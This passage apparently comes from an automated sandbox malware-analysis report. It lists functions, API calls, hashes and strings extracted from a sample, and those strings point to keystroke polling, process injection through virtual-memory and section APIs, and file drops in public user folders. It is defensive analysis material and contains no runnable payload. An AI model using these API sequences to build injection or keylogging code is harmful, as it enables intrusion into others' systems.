Memory Dump Source

Source File: 00000017.00000002.1684983317.0000000041D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 41D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41d60000_bwsiuvcU.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 1ebfba9928a6471fa667b7a867935e80e316a588997bd41c7b472bc88aa0ba01
Instruction ID: b61230c2dec6838a87a046b14914864a1290fcf92552f19e3a5c396b0899c392
Opcode Fuzzy Hash: 1ebfba9928a6471fa667b7a867935e80e316a588997bd41c7b472bc88aa0ba01
Instruction Fuzzy Hash: EA315CB5C0074A8FEB21DF9AC5453DFBFF8AB04315F21845AD599A7240C3B89645CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 41D67A08 Relevance: 4.6, APIs: 3, Instructions: 76keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 41D67A55
GetKeyState.USER32(00000011), ref: 41D67A9A
GetKeyState.USER32(00000012), ref: 41D67ADF

Memory Dump Source

Source File: 00000017.00000002.1684983317.0000000041D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 41D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41d60000_bwsiuvcU.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 5b2462859de10a362f3c8b9463aac6f26be4daa9ac3fc9c9d09b36e3c9c42b05
Instruction ID: 20ad7da495ad3c2091d46c0d61fd4eaaaa06db61d28abcfc718d44d33974ca61
Opcode Fuzzy Hash: 5b2462859de10a362f3c8b9463aac6f26be4daa9ac3fc9c9d09b36e3c9c42b05
Instruction Fuzzy Hash: 2B319FB0C0074A8FEB10DF9AC54539FBFF8AF04314F21841AD458A7240C3B89645CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.1639938993.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.1639938993.000000000044B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6

Memory Dump Source

Source File: 00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.1639938993.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000017.00000002.1639938993.000000000044B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569

Uniqueness

Uniqueness Score: -1.00%

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,3BE91980), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

EntryPoint.BWSIUVCU(80070057), ref: 004017EE

Part of subcall function 00401030: RaiseException.KERNEL32(-0000000113D97C15,00000001,00000000,00000000,00000015,2C2D8410), ref: 0040101C
Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030

EntryPoint.BWSIUVCU(80070057), ref: 00401800
EntryPoint.BWSIUVCU(80070057), ref: 00401813
__recalloc.LIBCMT ref: 00401828
EntryPoint.BWSIUVCU(8007000E), ref: 00401839
EntryPoint.BWSIUVCU(8007000E), ref: 00401853
_calloc.LIBCMT ref: 00401861

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
String ID:
API String ID: 1721462702-0
Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE

Uniqueness

Uniqueness Score: -1.00%

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(3BE91720), ref: 00414050

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMON

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Uniqueness

Uniqueness Score: -1.00%

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000001.1494452738.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000017.00000001.1494452738.000000000044B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_1_400000_bwsiuvcU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Ucvuiswb.PIFPID: 1916, Parent PID: 4056COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1921
Total number of Limit Nodes:	9

Executed Functions

Function 028BD5D0 Relevance: 213.4, APIs: 6, Strings: 111, Instructions: 8669COMMON

Download Yara Rule

Strings

C:\Users\Public\, xrefs: 028C3C19, 028C4E7D
DEEX, xrefs: 028BD612
NtCreateSection, xrefs: 028C87F5
URL=file:", xrefs: 028C4BE3
RetailTracerEnable, xrefs: 028C7862
ieproxy, xrefs: 028BD835, 028BD85C, 028BD883
RtlQueryProcessDebugInformation, xrefs: 028C8156
CreateProcessA, xrefs: 028C81B0
Advapi, xrefs: 028C816A, 028C8179, 028C8188, 028C8197, 028C81D3, 028C81E2, 028C81F1
^^Nc, xrefs: 028BEB0F, 028BF2CB
DlpGetArchiveFileTraceInfo, xrefs: 028C7C66
SLGatherMigrationBlob, xrefs: 028C86C3
NtOpenSection, xrefs: 028C87C2
SetUnhandledExceptionFilter, xrefs: 028C84B6
CryptSIPGetSignedDataMsg, xrefs: 028BDAEB
DlpCheckIsCloudSyncApp, xrefs: 028C7C33
@^@, xrefs: 028BF91F
NtQuerySecurityObject, xrefs: 028C888E
RtlAllocateHeap, xrefs: 028C7DF7, 028C7E5D
kernel32, xrefs: 028C839B, 028C83CE, 028C8401, 028C8434, 028C8467, 028C849A, 028C84CD
Initialize, xrefs: 028BD701, 028BE4DA, 028BE65D, 028BE7FB, 028BE9A1, 028BEC56, 028BF2F9, 028BF735, 028BFBDF, 028BFCE9, 028C03D0, 028C0702, 028C0A22, 028C0D56, 028C1147, 028C14D7, 028C3707, 028C3A9C, 028C3E98, 028C405D, 028C4155, 028C43FA, 028C45FF, 028C5560, 028C6218, 028C6B60, 028C7770, 028C7B0E, 028C803D, 028C84EF, 028C8A2C
spp, xrefs: 028C78AC, 028C78DF, 028C8674
GET, xrefs: 028C0102
BCryptVerifySignature, xrefs: 028BDB9A, 028C7A59
LdrGetProcedureAddress, xrefs: 028C8927
NtReadVirtualMemory, xrefs: 028C885B
NtGetWriteWatch, xrefs: 028C8729
DllGetActivationFactory, xrefs: 028BDD5E
EtwEventWriteEx, xrefs: 028C89C0
psapi, xrefs: 028C7912
C:\Users\Public\Libraries, xrefs: 028BE647
VirtualProtect, xrefs: 028C83EA
NtQuerySystemInformation, xrefs: 028C8129
UacUninitialize, xrefs: 028C145B, 028C1745
mssip32, xrefs: 028BDA9C, 028BDACF, 028BDB02, 028C7945
NtOpenFile, xrefs: 028C898D
DllRegisterServer, xrefs: 028BD872, 028BDD91
sppwmi, xrefs: 028C86A7
SLIsGenuineLocalEx, xrefs: 028C7688
NtMapViewOfSection, xrefs: 028C8828
smartscreenps, xrefs: 028BDD42, 028BDD75, 028BDDA8
CreateProcessAsUserW, xrefs: 028C81DD, 028C81FB
http, xrefs: 028BFDD5
EnumServicesStatusExW, xrefs: 028C8192
CryptSIPVerifyIndirectData, xrefs: 028BDAB8, 028C792E
NtQueryInformationThread, xrefs: 028C878F
EnumServicesStatusW, xrefs: 028C8174
iexpress.exe, xrefs: 028BE300
C:\\Users\\Public\\Libraries\\, xrefs: 028C4000
VirtualAllocEx, xrefs: 028C83B7
acS, xrefs: 028C19B0
MZP, xrefs: 028C7145
DlpNotifyPreDragDrop, xrefs: 028C7C00
NtAccessCheck, xrefs: 028C88C1
NtWriteVirtualMemory, xrefs: 028C895A
bcrypt, xrefs: 028BDBB1, 028BDBE4, 028BDC17, 028C7A70
sppc, xrefs: 028C7639, 028C766C, 028C769F, 028C76D2, 028C86DA, 028C870D
SLGetEncryptedPIDEx, xrefs: 028C86F6
GetProxyDllInfo, xrefs: 028BD84B
EnumProcessModules, xrefs: 028C81A1
NtQueryDirectoryFile, xrefs: 028C8147
CreateProcessAsUserA, xrefs: 028C81CE
RtlCreateQueryDebugBuffer, xrefs: 028C7E90
